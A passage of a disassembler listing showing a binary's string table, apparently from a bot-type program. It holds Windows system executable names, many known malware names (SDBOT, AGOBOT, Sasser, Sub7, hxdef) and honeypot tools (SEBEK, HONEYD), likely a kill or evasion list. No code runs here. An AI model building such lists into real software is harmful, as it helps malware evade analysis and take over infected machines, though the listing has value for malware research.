XREF: .text:00448AFCo align 10h aHostname_exe db 'hostname.exe',0 ; DATA XREF: .text:00448AF8o align 10h aHelp_exe db 'help.exe',0 ; DATA XREF: .text:00448AF4o align 4 aGrpconv_exe db 'grpconv.exe',0 ; DATA XREF: .text:00448AF0o aGpupdate_exe db 'gpupdate.exe',0 ; DATA XREF: .text:00448AECo align 4 aGpresult_exe db 'gpresult.exe',0 ; DATA XREF: .text:00448AE8o align 4 aGetmac_exe db 'getmac.exe',0 ; DATA XREF: .text:00448AE4o align 4 aGdi_exe db 'gdi.exe',0 ; DATA XREF: .text:00448AE0o aGb2312_uce db 'gb2312.uce',0 ; DATA XREF: .text:00448ADCo align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: .text:00448AD8o aFsutil_exe db 'fsutil.exe',0 ; DATA XREF: .text:00448AD4o align 4 aFsquirt_exe db 'fsquirt.exe',0 ; DATA XREF: .text:00448AD0o aFreecell_exe db 'freecell.exe',0 ; DATA XREF: .text:00448ACCo align 4 aForcedos_exe db 'forcedos.exe',0 ; DATA XREF: .text:00448AC8o align 4 aFontview_exe db 'fontview.exe',0 ; DATA XREF: .text:00448AC4o align 4 aFltmc_exe db 'fltMc.exe',0 ; DATA XREF: .text:00448AC0o align 4 aFixmapi_exe db 'fixmapi.exe',0 ; DATA XREF: .text:00448ABCo aFinger_exe db 'finger.exe',0 ; DATA XREF: .text:00448AB8o align 4 aFindstr_exe db 'findstr.exe',0 ; DATA XREF: .text:00448AB4o aFind_exe db 'find.exe',0 ; DATA XREF: .text:00448AB0o align 4 aFc_exe db 'fc.exe',0 ; DATA XREF: .text:00448AACo align 4 aFastopen_exe db 'fastopen.exe',0 ; DATA XREF: .text:00448AA8o align 4 aExtrac32_exe db 'extrac32.exe',0 ; DATA XREF: .text:00448AA4o align 4 aExpand_exe db 'expand.exe',0 ; DATA XREF: .text:00448AA0o align 4 aExe2bin_exe db 'exe2bin.exe',0 ; DATA XREF: .text:00448A9Co aEventvwr_exe db 'eventvwr.exe',0 ; DATA XREF: .text:00448A98o align 4 aEventtriggers_ db 'eventtriggers.exe',0 ; DATA XREF: .text:00448A94o align 4 aEventcreate_ex db 'eventcreate.exe',0 ; DATA XREF: .text:00448A90o aEudcedit_exe db 'eudcedit.exe',0 ; DATA XREF: .text:00448A8Co align 4 aEsentutl_exe db 'esentutl.exe',0 ; DATA XREF: .text:00448A88o align 4 aEdlin_exe db 'edlin.exe',0 ; DATA XREF: .text:00448A84o align 4 aDxdiag_exe db 'dxdiag.exe',0 ; DATA XREF: .text:00448A80o align 10h aDwwin_exe db 'dwwin.exe',0 ; DATA XREF: .text:00448A7Co align 4 aDvdupgrd_exe db 'dvdupgrd.exe',0 ; DATA XREF: .text:00448A78o align 4 aDvdplay_exe db 'dvdplay.exe',0 ; DATA XREF: .text:00448A74o aDumprep_exe db 'dumprep.exe',0 ; DATA XREF: .text:00448A70o aDrwtsn32_exe db 'drwtsn32.exe',0 ; DATA XREF: .text:00448A6Co align 4 aDrwatson_exe db 'drwatson.exe',0 ; DATA XREF: .text:00448A68o align 4 aDriverquery_ex db 'driverquery.exe',0 ; DATA XREF: .text:00448A64o aDpvsetup_exe db 'dpvsetup.exe',0 ; DATA XREF: .text:00448A60o align 4 aDpnsvr_exe db 'dpnsvr.exe',0 ; DATA XREF: .text:00448A5Co align 10h aDplaysvr_exe db 'dplaysvr.exe',0 ; DATA XREF: .text:00448A58o align 10h aDosx_exe db 'dosx.exe',0 ; DATA XREF: .text:00448A54o align 4 aDoskey_exe db 'doskey.exe',0 ; DATA XREF: .text:00448A50o align 4 aDmremote_exe db 'dmremote.exe',0 ; DATA XREF: .text:00448A4Co align 4 aDmadmin_exe db 'dmadmin.exe',0 ; DATA XREF: .text:00448A48o aDllhst3g_exe db 'dllhst3g.exe',0 ; DATA XREF: .text:00448A44o align 4 aDllhost_exe db 'dllhost.exe',0 ; DATA XREF: .text:00448A40o aDiskperf_exe db 'diskperf.exe',0 ; DATA XREF: .text:00448A3Co align 10h aDiskpart_exe db 'diskpart.exe',0 ; DATA XREF: .text:00448A38o align 10h aDiantz_exe db 'diantz.exe',0 ; DATA XREF: .text:00448A34o align 4 aDfrgntfs_exe db 'dfrgntfs.exe',0 ; DATA XREF: .text:00448A30o align 4 aDfrgfat_exe db 'dfrgfat.exe',0 ; DATA XREF: .text:00448A2Co aDefrag_exe db 'defrag.exe',0 ; DATA XREF: .text:00448A28o align 4 aDebug_exe db 'debug.exe',0 ; DATA XREF: .text:00448A24o align 10h aDdeshare_exe db 'ddeshare.exe',0 ; DATA XREF: .text:00448A20o align 10h aDcomcnfg_exe db 'dcomcnfg.exe',0 ; DATA XREF: .text:00448A1Co align 10h aCtfmon_exe db 'ctfmon.exe',0 ; DATA XREF: .text:00448A18o align 4 aCsrss_exe db 'csrss.exe',0 ; DATA XREF: .text:00448A14o align 4 aCscript_exe db 'cscript.exe',0 ; DATA XREF: .text:00448A10o aConvert_exe db 'convert.exe',0 ; DATA XREF: .text:00448A0Co aControl_exe db 'control.exe',0 ; DATA XREF: .text:00448A08o aConime_exe db 'conime.exe',0 ; DATA XREF: .text:00448A04o align 4 aCompact_exe db 'compact.exe',0 ; DATA XREF: .text:00448A00o aComp_exe db 'comp.exe',0 ; DATA XREF: .text:004489FCo align 10h aCmstp_exe db 'cmstp.exe',0 ; DATA XREF: .text:004489F8o align 4 aCmmon32_exe db 'cmmon32.exe',0 ; DATA XREF: .text:004489F4o aCmdl32_exe db 'cmdl32.exe',0 ; DATA XREF: .text:004489F0o align 4 aClspack_exe db 'clspack.exe',0 ; DATA XREF: .text:004489E8o aClipsrv_exe db 'clipsrv.exe',0 ; DATA XREF: .text:004489E4o aClipbrd_exe db 'clipbrd.exe',0 ; DATA XREF: .text:004489E0o aCliconfg_exe db 'cliconfg.exe',0 ; DATA XREF: .text:004489DCo align 4 aCleanmgr_exe db 'cleanmgr.exe',0 ; DATA XREF: .text:004489D8o align 4 aCkcnv_exe db 'ckcnv.exe',0 ; DATA XREF: .text:004489D4o align 4 aCisvc_exe db 'cisvc.exe',0 ; DATA XREF: .text:004489D0o align 10h aCipher_exe db 'cipher.exe',0 ; DATA XREF: .text:004489CCo align 4 aCidaemon_exe db 'cidaemon.exe',0 ; DATA XREF: .text:004489C8o align 4 aChkntfs_exe db 'chkntfs.exe',0 ; DATA XREF: .text:004489C4o aChkdsk_exe db 'chkdsk.exe',0 ; DATA XREF: .text:004489C0o align 4 aChcfg_exe db 'ChCfg.exe',0 ; DATA XREF: .text:004489BCo align 10h aCharmap_exe db 'charmap.exe',0 ; DATA XREF: .text:004489B8o aCalc_exe db 'calc.exe',0 ; DATA XREF: .text:004489B4o align 4 aCacls_exe db 'cacls.exe',0 ; DATA XREF: .text:004489B0o align 4 aBootvrfy_exe db 'bootvrfy.exe',0 ; DATA XREF: .text:004489ACo align 4 aBootok_exe db 'bootok.exe',0 ; DATA XREF: .text:004489A8o align 10h aBootcfg_exe db 'bootcfg.exe',0 ; DATA XREF: .text:004489A4o aBlastcln_exe db 'blastcln.exe',0 ; DATA XREF: .text:004489A0o align 4 aAutolfn_exe db 'autolfn.exe',0 ; DATA XREF: .text:0044899Co aAutofmt_exe db 'autofmt.exe',0 ; DATA XREF: .text:00448998o aAutoconv_exe db 'autoconv.exe',0 ; DATA XREF: .text:00448994o align 4 aAutochk_exe db 'autochk.exe',0 ; DATA XREF: .text:00448990o aAuditusr_exe db 'auditusr.exe',0 ; DATA XREF: .text:0044898Co align 10h aAttrib_exe db 'attrib.exe',0 ; DATA XREF: .text:00448988o align 4 aAtmadm_exe db 'atmadm.exe',0 ; DATA XREF: .text:00448984o align 4 aAti2mdxx_exe db 'Ati2mdxx.exe',0 ; DATA XREF: .text:00448980o align 4 aAti2evxx_exe db 'ati2evxx.exe',0 ; DATA XREF: .text:0044897Co ; .text:00448EC4o align 4 aAt_exe db 'at.exe',0 ; DATA XREF: .text:00448978o align 10h aAsr_pfu_exe db 'asr_pfu.exe',0 ; DATA XREF: .text:00448974o aAsr_ldm_exe db 'asr_ldm.exe',0 ; DATA XREF: .text:00448970o aAsr_fmt_exe db 'asr_fmt.exe',0 ; DATA XREF: .text:0044896Co aArp_exe db 'arp.exe',0 ; DATA XREF: .text:00448968o aAppend_exe db 'append.exe',0 ; DATA XREF: .text:00448964o align 4 aAlg_exe db 'alg.exe',0 ; DATA XREF: .text:00448960o aAhui_exe db 'ahui.exe',0 ; DATA XREF: .text:0044895Co align 4 aActmovie_exe db 'actmovie.exe',0 ; DATA XREF: .text:00448958o align 4 aAccwiz_exe db 'accwiz.exe',0 ; DATA XREF: .text:00448954o align 4 aHdashcut_exe db 'HDAShCut.exe',0 ; DATA XREF: .text:00448950o ; .text:00448F94o align 4 aKeystone_exe db 'keystone.exe',0 ; DATA XREF: .text:0044894Co align 4 aNwiz_exe db 'nwiz.exe',0 ; DATA XREF: .text:00448948o align 4 aNvcplui_exe db 'nvcplui.exe',0 ; DATA XREF: .text:00448944o aNvdspsch_exe db 'nvdspsch.exe',0 ; DATA XREF: .text:00448940o align 10h aNvcolor_exe db 'nvcolor.exe',0 ; DATA XREF: .text:0044893Co aNvappbar_exe db 'nvappbar.exe',0 ; DATA XREF: .text:00448938o align 4 aNvudisp_exe db 'nvudisp.exe',0 ; DATA XREF: .text:00448934o aNvsvc32_exe db 'nvsvc32.exe',0 ; DATA XREF: .text:00448930o aNvuninst_exe db 'NVUNINST.EXE',0 ; DATA XREF: .text:0044892Co align 4 aSview_exe db 'sview.exe',0 ; DATA XREF: .text:00448928o align 10h aNview_exe db 'nview.exe',0 ; DATA XREF: .text:00448924o align 4 aWmsoft_exe db 'wmsoft*.exe',0 ; DATA XREF: .text:00448920o ; .text:00448F88o ... aAsr__exe db 'asr_*.exe',0 ; DATA XREF: .text:0044891Co ; .text:00448F84o ... align 4 aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: .text:00448910o align 10h aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: .text:00448904o aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: .text:004488FCo align 4 aMssmpp_exe db 'MSSMPP.EXE',0 ; DATA XREF: .text:004488F4o align 4 aWindows12_exe db 'WINDOWS12.EXE',0 ; DATA XREF: .text:004488F0o align 4 aDup_exe db 'DUP.EXE',0 ; DATA XREF: .text:004488E8o aNsecurity_exe db 'NSECURITY.EXE',0 ; DATA XREF: .text:004488E4o align 10h aInssvc_exe db 'INSSVC.EXE',0 ; DATA XREF: .text:004488DCo align 4 aDog_bat db 'DOG.BAT',0 ; DATA XREF: .text:004488D8o aMsnet_bat db 'MSNET.BAT',0 ; DATA XREF: .text:004488D0o align 10h aRootkit2_exe db 'ROOTKIT2.EXE',0 ; DATA XREF: .text:004488CCo align 10h aRun_bot_bat_ex db 'RUN_BOT.BAT.EXE',0 ; DATA XREF: .text:004488C8o aLogoner_exe db 'LOGONER.EXE',0 ; DATA XREF: .text:004488C4o aLogdec_exe db 'LOGDEC.EXE',0 ; DATA XREF: .text:004488C0o align 4 aWebxgrab_exe db 'WEBXGRAB.EXE',0 ; DATA XREF: .text:004488BCo align 4 aGg_exe db 'GG.EXE',0 ; DATA XREF: .text:004488B8o align 10h aWolff_exe db 'WOLFF.EXE',0 ; DATA XREF: .text:004488B0o align 4 aHz_exe db 'HZ.EXE',0 ; DATA XREF: .text:004488ACo align 4 aWinpga_exe db 'WINPGA.EXE',0 ; DATA XREF: .text:004488A8o align 10h aWqrtuhx_exe db 'WQRTUHX.EXE',0 ; DATA XREF: .text:004488A4o aDmi_exe db 'DMI.EXE',0 ; DATA XREF: .text:004488A0o aRspool_exe db 'RSPOOL.EXE',0 ; DATA XREF: .text:0044889Co align 10h aIrb_exe db 'IRB.EXE',0 ; DATA XREF: .text:00448898o aV1rg1n_exe db 'V1RG1N.EXE',0 ; DATA XREF: .text:00448894o align 4 aRopnc_exe db 'ROPNC.EXE',0 ; DATA XREF: .text:00448890o align 10h aXgun_exe db 'XGUN.EXE',0 ; DATA XREF: .text:0044888Co align 4 aAdv693_exe db 'ADV693.EXE',0 ; DATA XREF: .text:00448888o align 4 aJssa_exe db 'JSSA.EXE',0 ; DATA XREF: .text:00448884o align 4 aV1rgf_exe db 'V1RGF.EXE',0 ; DATA XREF: .text:00448880o align 10h aU_exe db 'U.EXE',0 ; DATA XREF: .text:0044887Co align 4 aV1rg1n_exe_0 db 'V1Rg1N.EXE',0 ; DATA XREF: .text:00448878o align 4 aKa6ber_exe db 'KA6BER.EXE',0 ; DATA XREF: .text:00448874o align 10h aTest_exe db 'TEST.EXE',0 ; DATA XREF: .text:00448870o align 4 aScans_exe db 'SCANS.EXE',0 ; DATA XREF: .text:0044886Co align 4 aSecuraq_exe db 'SECURAQ.EXE',0 ; DATA XREF: .text:00448868o aPs2m_exe db 'PS2M.EXE',0 ; DATA XREF: .text:00448864o align 10h aOurnik_exe db 'OURNIK.EXE',0 ; DATA XREF: .text:00448860o align 4 aO1o2o3o4_exe db 'O1O2O3O4.EXE',0 ; DATA XREF: .text:0044885Co align 4 aOf_exe db 'OF.EXE',0 ; DATA XREF: .text:00448858o align 4 aTamer_bat_exe db 'TAMER.BAT.EXE',0 ; DATA XREF: .text:00448854o align 4 a5h7h8v6b1c5_ex db '5H7H8V6B1C5.EXE',0 ; DATA XREF: .text:00448850o aDual_exe db 'DUAL.EXE',0 ; DATA XREF: .text:0044884Co align 10h aNxm_exe db 'NXM.EXE',0 ; DATA XREF: .text:00448848o aGt_exe db 'GT.EXE',0 ; DATA XREF: .text:00448844o align 10h aNope_exe db 'NOPE.EXE',0 ; DATA XREF: .text:00448840o align 4 aM_exe db 'M.EXE',0 ; DATA XREF: .text:0044883Co align 4 aLoadadv735_exe db 'LOADADV735.EXE',0 ; DATA XREF: .text:00448838o align 4 aAbo_exe db 'ABO.EXE',0 ; DATA XREF: .text:00448834o aLam_exe db 'LAM.EXE',0 ; DATA XREF: .text:00448830o aBox_exe db 'BOX.EXE',0 ; DATA XREF: .text:0044882Co aHtran_v1_exe db 'HTRAN_V1.EXE',0 ; DATA XREF: .text:00448824o align 4 aRserver_exe db 'RSERVER.EXE',0 ; DATA XREF: .text:00448820o aJoined_exe db 'JOINED.EXE',0 ; DATA XREF: .text:0044881Co align 4 aHookiat_exe db 'HOOKIAT.EXE',0 ; DATA XREF: .text:00448818o aUay_exe db 'UAY.EXE',0 ; DATA XREF: .text:00448814o aOwnt_exe db 'OWNT.EXE',0 ; DATA XREF: .text:00448810o align 4 aWnetwork_exe db 'WNETWORK.EXE',0 ; DATA XREF: .text:0044880Co align 4 aWishs_exewsemg db 'WISHS.EXEWSEMGR.EXE',0 ; DATA XREF: .text:00448808o aW32sim_exe db 'W32SIM.EXE',0 ; DATA XREF: .text:00448804o align 4 aDisk10_exe db 'DISK10.EXE',0 ; DATA XREF: .text:00448800o align 10h aWinclean_exe db 'WINCLEAN.EXE',0 ; DATA XREF: .text:004487FCo align 10h aWinuppd_exe db 'WINUPPD.EXE',0 ; DATA XREF: .text:004487F8o aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: .text:004487F4o align 4 aWiniogon_exe db 'WINIOGON.EXE',0 ; DATA XREF: .text:004487F0o align 4 aSpooisv_exe db 'SPOOISV.EXE',0 ; DATA XREF: .text:004487ECo aVideoati0_exe db 'VIDEOATI0.EXE',0 ; DATA XREF: .text:004487E8o align 4 aIs67538_exe db 'IS67538.EXE',0 ; DATA XREF: .text:004487E4o aBlkl_exe db 'BLKL.EXE',0 ; DATA XREF: .text:004487E0o ; .text:00448828o align 4 aBulk_exe db 'BULK.EXE',0 ; DATA XREF: .text:004487DCo align 4 aMswdns32_exe db 'MSWDNS32.EXE',0 ; DATA XREF: .text:004487D8o align 4 aWinpkr_exe db 'WINPKR.EXE',0 ; DATA XREF: .text:004487D4o align 4 aWinsnte_exe db 'WINSNTE.EXE',0 ; DATA XREF: .text:004487D0o aEbay_exe db 'EBAY.EXE',0 ; DATA XREF: .text:004487CCo align 4 aWanmpsvc_exe db 'WANMPSVC.EXE',0 ; DATA XREF: .text:004487C8o align 4 aWebmsn_exe db 'WEBMSN.EXE',0 ; DATA XREF: .text:004487C4o align 4 aSysmgr64_exe db 'SYSMGR64.EXE',0 ; DATA XREF: .text:004487C0o align 4 aWmism23_exe db 'WMISM23.EXE',0 ; DATA XREF: .text:004487BCo aWinupdaterar_e db 'WINUPDATERAR.EXE',0 ; DATA XREF: .text:004487B8o align 4 aWinsocket_exe db 'WINSOCKET.EXE',0 ; DATA XREF: .text:004487B4o align 4 aSsql_exe db 'SSQL.EXE',0 ; DATA XREF: .text:004487B0o align 4 aMssql32_exe db 'MSSQL32.EXE',0 ; DATA XREF: .text:004487ACo aSxot_exe db 'SXOT.EXE',0 ; DATA XREF: .text:004487A8o align 4 aAkbot_exe db 'AKBOT.EXE',0 ; DATA XREF: .text:004487A4o align 4 aDc_exe db 'DC.EXE',0 ; DATA XREF: .text:004487A0o align 10h aDcz_exe db 'DCZ.EXE',0 ; DATA XREF: .text:0044879Co aDcomd_exe db 'DCOMD.EXE',0 ; DATA XREF: .text:00448798o align 4 aUniversal_exe db 'UNIVERSAL.EXE',0 ; DATA XREF: .text:00448794o align 4 aUtils32_exe db 'UTILS32.EXE',0 ; DATA XREF: .text:00448790o aR00tkit_exe db 'R00TKIT.EXE',0 ; DATA XREF: .text:0044878Co aRk_exe db 'RK.EXE',0 ; DATA XREF: .text:00448788o align 4 aRootkit_exe db 'ROOTKIT.EXE',0 ; DATA XREF: .text:00448784o aT00lkit_exe db 'T00LKIT.EXE',0 ; DATA XREF: .text:00448780o aUpdates_exe db 'UPDATES.EXE',0 ; DATA XREF: .text:0044877Co aExe32_exe db 'EXE32.EXE',0 ; DATA XREF: .text:00448778o align 4 aExe_exe db 'EXE.EXE',0 ; DATA XREF: .text:00448774o aDllhst_exe db 'DLLHST.EXE',0 ; DATA XREF: .text:0044876Co align 4 aWindll_exe db 'WINDLL.EXE',0 ; DATA XREF: .text:00448768o align 4 aGsec_exe db 'GSEC.EXE',0 ; DATA XREF: .text:00448764o align 10h aRunbatch_exe db 'RUNBATCH.EXE',0 ; DATA XREF: .text:00448760o align 10h aLoader32_exe db 'LOADER32.EXE',0 ; DATA XREF: .text:0044875Co align 10h aWebex_exe db 'WEBEX.EXE',0 ; DATA XREF: .text:00448758o align 4 aDowner_exe db 'DOWNER.EXE',0 ; DATA XREF: .text:00448754o align 4 aUrx_exe db 'URX.EXE',0 ; DATA XREF: .text:00448750o aPnp_exe db 'PNP.EXE',0 ; DATA XREF: .text:0044874Co aAsn_exe db 'ASN.EXE',0 ; DATA XREF: .text:00448748o aUrxbot_exe db 'URXBOT.EXE',0 ; DATA XREF: .text:00448744o align 4 aForbot_exe db 'FORBOT.EXE',0 ; DATA XREF: .text:00448740o align 4 aAgobotsvc_exe db 'AGOBOTSVC.EXE',0 ; DATA XREF: .text:0044873Co align 4 aWonk_exe db 'WONK.EXE',0 ; DATA XREF: .text:00448738o align 4 aPb_exe db 'PB.EXE',0 ; DATA XREF: .text:00448734o align 4 aAg32_exe db 'AG32.EXE',0 ; DATA XREF: .text:00448730o align 4 aAgo_exe db 'AGO.EXE',0 ; DATA XREF: .text:00448728o aA_exe db 'A.EXE',0 ; DATA XREF: .text:00448724o ; .text:004488B4o align 4 aPhatbot_exe db 'PHATBOT.EXE',0 ; DATA XREF: .text:00448720o aAgobot3_exe db 'AGOBOT3.EXE',0 ; DATA XREF: .text:0044871Co aAgobot_exe db 'AGOBOT.EXE',0 ; DATA XREF: .text:00448718o align 4 aSyst3m33r_exe db 'SYST3M33R.EXE',0 ; DATA XREF: .text:00448714o align 4 aWebdownloader_ db 'WEBDOWNLOADER.EXE',0 ; DATA XREF: .text:00448710o align 10h aWebx_exe db 'WEBX.EXE',0 ; DATA XREF: .text:0044870Co align 4 aXftp_exe db 'XFTP.EXE',0 ; DATA XREF: .text:00448708o align 4 aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: .text:00448704o align 4 aWinreg32_exe db 'WINREG32.EXE',0 ; DATA XREF: .text:00448700o align 4 aConvertxdccfil db 'CONVERTXDCCFILE.EXE',0 ; DATA XREF: .text:004486FCo ; .text:004488E0o aMsserv_exe db 'MSSERV.EXE',0 ; DATA XREF: .text:004486F8o align 4 aS0cks_exe db 'S0CKS.EXE',0 ; DATA XREF: .text:004486F4o align 10h aSockets_exe db 'SOCKETS.EXE',0 ; DATA XREF: .text:004486F0o aSox_exe db 'SOX.EXE',0 ; DATA XREF: .text:004486ECo aSocks_exe db 'SOCKS.EXE',0 ; DATA XREF: .text:004486E8o align 10h aClass101_exe db 'CLASS101.EXE',0 ; DATA XREF: .text:004486E4o align 10h a101_exe db '101.EXE',0 ; DATA XREF: .text:004486E0o aMsn_exe db 'MSN.EXE',0 ; DATA XREF: .text:004486DCo aHax_exe db 'HAX.EXE',0 ; DATA XREF: .text:004486D8o aT_bat db 'T.BAT',0 ; DATA XREF: .text:004486D4o align 10h aSdbot05c_exe db 'SDBOT05C.EXE',0 ; DATA XREF: .text:004486D0o align 10h aSdbot05b_exe db 'SDBOT05B.EXE',0 ; DATA XREF: .text:004486CCo align 10h aSd_exe db 'SD.EXE',0 ; DATA XREF: .text:004486C8o align 4 aSdbot_exe db 'SDBOT.EXE',0 ; DATA XREF: .text:004486C4o align 4 aIrxdcc_exe db 'IRXDCC.EXE',0 ; DATA XREF: .text:004486C0o align 10h aOffer_exe db 'OFFER.EXE',0 ; DATA XREF: .text:004486BCo align 4 aIrbot_exe db 'IRBOT.EXE',0 ; DATA XREF: .text:004486B8o align 4 aIroffer_exe db 'IROFFER.EXE',0 ; DATA XREF: .text:004486B4o aRcc_exe db 'RCC.EXE',0 ; DATA XREF: .text:004486B0o aWinmrt32_exe db 'WINMRT32.EXE',0 ; DATA XREF: .text:004486ACo align 4 aWinmrt_exe db 'WINMRT.EXE',0 ; DATA XREF: .text:004486A8o align 4 aAntispy_exe db 'ANTISPY.EXE',0 ; DATA XREF: .text:004486A4o aMsantispy_exe db 'MSANTISPY.EXE',0 ; DATA XREF: .text:004486A0o align 4 aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: .text:0044869Co aKeylogg_exe db 'KEYLOGG.EXE',0 ; DATA XREF: .text:00448698o aKeylog_exe db 'KEYLOG.EXE',0 ; DATA XREF: .text:00448694o align 4 aKeylogger_exe db 'KEYLOGGER.EXE',0 ; DATA XREF: .text:00448690o align 4 aRdrbs073_exe db 'RDRBS073.EXE',0 ; DATA XREF: .text:00448688o align 4 aBdcli073_exe db 'BDCLI073.EXE',0 ; DATA XREF: .text:00448684o align 4 aHxdef073_exe db 'HXDEF073.EXE',0 ; DATA XREF: .text:00448680o align 4 aHxgold_exe db 'HXGOLD.EXE',0 ; DATA XREF: .text:0044867Co align 4 aHxdofena_exe db 'HXDOFENA.EXE',0 ; DATA XREF: .text:00448678o ; .text:0044868Co ... align 4 aRdrbs100_exe db 'RDRBS100.EXE',0 ; DATA XREF: .text:00448674o align 4 aBdcli100_exe db 'BDCLI100.EXE',0 ; DATA XREF: .text:00448670o align 4 aHxdef100_exe db 'HXDEF100.EXE',0 ; DATA XREF: .text:0044866Co align 4 aXd_exe db 'XD.EXE',0 ; DATA XREF: .text:00448664o align 4 aXdcckit_exe db 'XDCCKIT.EXE',0 ; DATA XREF: .text:00448660o aKit_exe db 'KIT.EXE',0 ; DATA XREF: .text:0044865Co aRunthis_exe db 'RUNTHIS.EXE',0 ; DATA XREF: .text:00448658o aDiabl0_exe db 'DIABL0.EXE',0 ; DATA XREF: .text:00448654o align 4 aDiablo_exe db 'DIABLO.EXE',0 ; DATA XREF: .text:00448650o align 4 a6_exe db '6.EXE',0 ; DATA XREF: .text:0044864Co align 4 a1_exe db '1.EXE',0 ; DATA XREF: .text:00448648o align 4 aOwned_exe db 'OWNED.EXE',0 ; DATA XREF: .text:00448644o align 10h aOmfglol_exe db 'OMFGLOL.EXE',0 ; DATA XREF: .text:00448640o aDoor_exe db 'DOOR.EXE',0 ; DATA XREF: .text:0044863Co align 4 aBd_exe db 'BD.EXE',0 ; DATA XREF: .text:00448638o align 10h aSub7_exe db 'SUB7.EXE',0 ; DATA XREF: .text:00448634o align 4 aTrojan_exe db 'TROJAN.EXE',0 ; DATA XREF: .text:00448630o align 4 aHoney_exe db 'HONEY.EXE',0 ; DATA XREF: .text:0044862Co align 4 aRoo32_exe db 'ROO32.EXE',0 ; DATA XREF: .text:00448628o align 10h aRoo_exe db 'ROO.EXE',0 ; DATA XREF: .text:00448624o aSysd32_exe db 'SYSD32.EXE',0 ; DATA XREF: .text:00448620o align 4 aAntibotty_exe db 'ANTIBOTTY.EXE',0 ; DATA XREF: .text:0044861Co align 4 aSelebek_exe db 'SELEBEK.EXE',0 ; DATA XREF: .text:00448618o aSebek_exe db 'SEBEK.EXE',0 ; DATA XREF: .text:00448614o align 4 aHoneywall_exe db 'HONEYWALL.EXE',0 ; DATA XREF: .text:00448610o align 4 aHoneyd_exe db 'HONEYD.EXE',0 ; DATA XREF: .text:0044860Co align 4 aVirus32_exe db 'VIRUS32.EXE',0 ; DATA XREF: .text:00448608o aVirus_exe db 'VIRUS.EXE',0 ; DATA XREF: .text:00448604o align 10h aTq_exe db 'TQ.EXE',0 ; DATA XREF: .text:00448600o align 4 aBeast_exe db 'BEAST.EXE',0 ; DATA XREF: .text:004485FCo align 4 aAcc3pt_exe db 'ACC3PT.EXE',0 ; DATA XREF: .text:004485F8o align 10h aMykralor_exe db 'MYKRALOR.EXE',0 ; DATA XREF: .text:004485F4o align 10h aKralor_exehaxo db 'KRALOR.EXEHAXOR.EXE',0 ; DATA XREF: .text:004485F0o aWinslave_exe db 'WINSLAVE.EXE',0 ; DATA XREF: .text:004485ECo align 4 aSlave32_exe db 'SLAVE32.EXE',0 ; DATA XREF: .text:004485E8o aSlave_exe db 'SLAVE.EXE',0 ; DATA XREF: .text:004485E4o align 4 aWinmaster_exe db 'WINMASTER.EXE',0 ; DATA XREF: .text:004485E0o align 4 aDftpd_exe db 'DFTPD.EXE',0 ; DATA XREF: .text:004485DCo align 4 aTemp_exe db 'TEMP.EXE',0 ; DATA XREF: .text:004485D8o align 4 aStub_exe db 'STUB.EXE',0 ; DATA XREF: .text:004485D4o align 10h aWrapper_exe db 'WRAPPER.EXE',0 ; DATA XREF: .text:004485D0o aRdr32_exe db 'RDR32.EXE',0 ; DATA XREF: .text:004485CCo align 4 aCiao_exe db 'CIAO.EXE',0 ; DATA XREF: .text:004485C8o align 4 aXtc_exe db 'XTC.EXE',0 ; DATA XREF: .text:004485C4o aWsg32_exe db 'WSG32.EXE',0 ; DATA XREF: .text:004485C0o ; .text:004488D4o align 4 aRadmin22_exe db 'RADMIN22.EXE',0 ; DATA XREF: .text:004485BCo align 4 aRadmin21_exe db 'RADMIN21.EXE',0 ; DATA XREF: .text:004485B8o align 4 aRview_exe db 'RVIEW.EXE',0 ; DATA XREF: .text:004485B4o align 4 aNi_exe db 'NI.EXE',0 ; DATA XREF: .text:004485B0o align 4 aTaskhider_exe db 'TASKHIDER.EXE',0 ; DATA XREF: .text:004485ACo align 4 aMswin32 db 'MSWIN32',0 ; DATA XREF: .text:004485A4o aFoods_exe db 'FOODS.EXE',0 ; DATA XREF: .text:004485A0o align 10h aPostcard_exe db 'POSTCARD.EXE',0 ; DATA XREF: .text:0044859Co align 10h aMsdev32_exe db 'MSDEV32.EXE',0 ; DATA XREF: .text:00448598o aRun0nce_exe db 'RUN0NCE.EXE',0 ; DATA XREF: .text:00448594o aSpools32_exe db 'SPOOLS32.EXE',0 ; DATA XREF: .text:00448590o align 4 aSpool32_exe db 'SPOOL32.EXE',0 ; DATA XREF: .text:0044858Co aCrss32_exe db 'CRSS32.EXE',0 ; DATA XREF: .text:00448588o align 10h aIexploree_exe db 'IEXPLOREE.EXE',0 ; DATA XREF: .text:00448584o align 10h aQq_exe db 'QQ.EXE',0 ; DATA XREF: .text:00448580o align 4 aWindows_update db 'WINDOWS_UPDATER01.EXE',0 ; DATA XREF: .text:0044857Co align 10h aAddiq32_exe db 'ADDIQ32.EXE',0 ; DATA XREF: .text:00448574o aSysinfo_exe db 'SYSINFO.EXE',0 ; DATA XREF: .text:00448570o aWuamkoppnp_exe db 'WUAMKOPPNP.EXE',0 ; DATA XREF: .text:00448568o align 4 aScrh0st_exe db 'SCRH0ST.EXE',0 ; DATA XREF: .text:00448564o aSvch0st32_exe db 'SVCH0ST32.EXE',0 ; DATA XREF: .text:00448560o align 4 aSvhosts_exe db 'SVHOSTS.EXE',0 ; DATA XREF: .text:0044855Co aSvhost_exe db 'SVHOST.EXE',0 ; DATA XREF: .text:00448558o align 4 aIexpl0re_exe db 'IEXPL0RE.EXE',0 ; DATA XREF: .text:00448550o align 4 aSvc_exe db 'SVC.EXE',0 ; DATA XREF: .text:0044854Co ; .text:004488F8o aZf_exe db 'ZF.EXE',0 ; DATA XREF: .text:00448544o align 4 aZfr_exe db 'ZFR.EXE',0 ; DATA XREF: .text:00448540o aWins32_exe db 'WINS32.EXE',0 ; DATA XREF: .text:0044853Co align 10h aWuamgre_exe db 'WUAMGRE.EXE',0 ; DATA XREF: .text:00448538o aScrhost32_exe db 'SCRHOST32.EXE',0 ; DATA XREF: .text:00448530o align 4 aSassere_exe db 'SASSERE.EXE',0 ; DATA XREF: .text:0044852Co aSasser_exe db 'SASSER.EXE',0 ; DATA XREF: .text:00448528o align 4 aBlast_exe db 'BLAST.EXE',0 ; DATA XREF: .text:00448524o align 10h aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: .text:00448520o aHiderun_exe db 'HIDERUN.EXE',0 ; 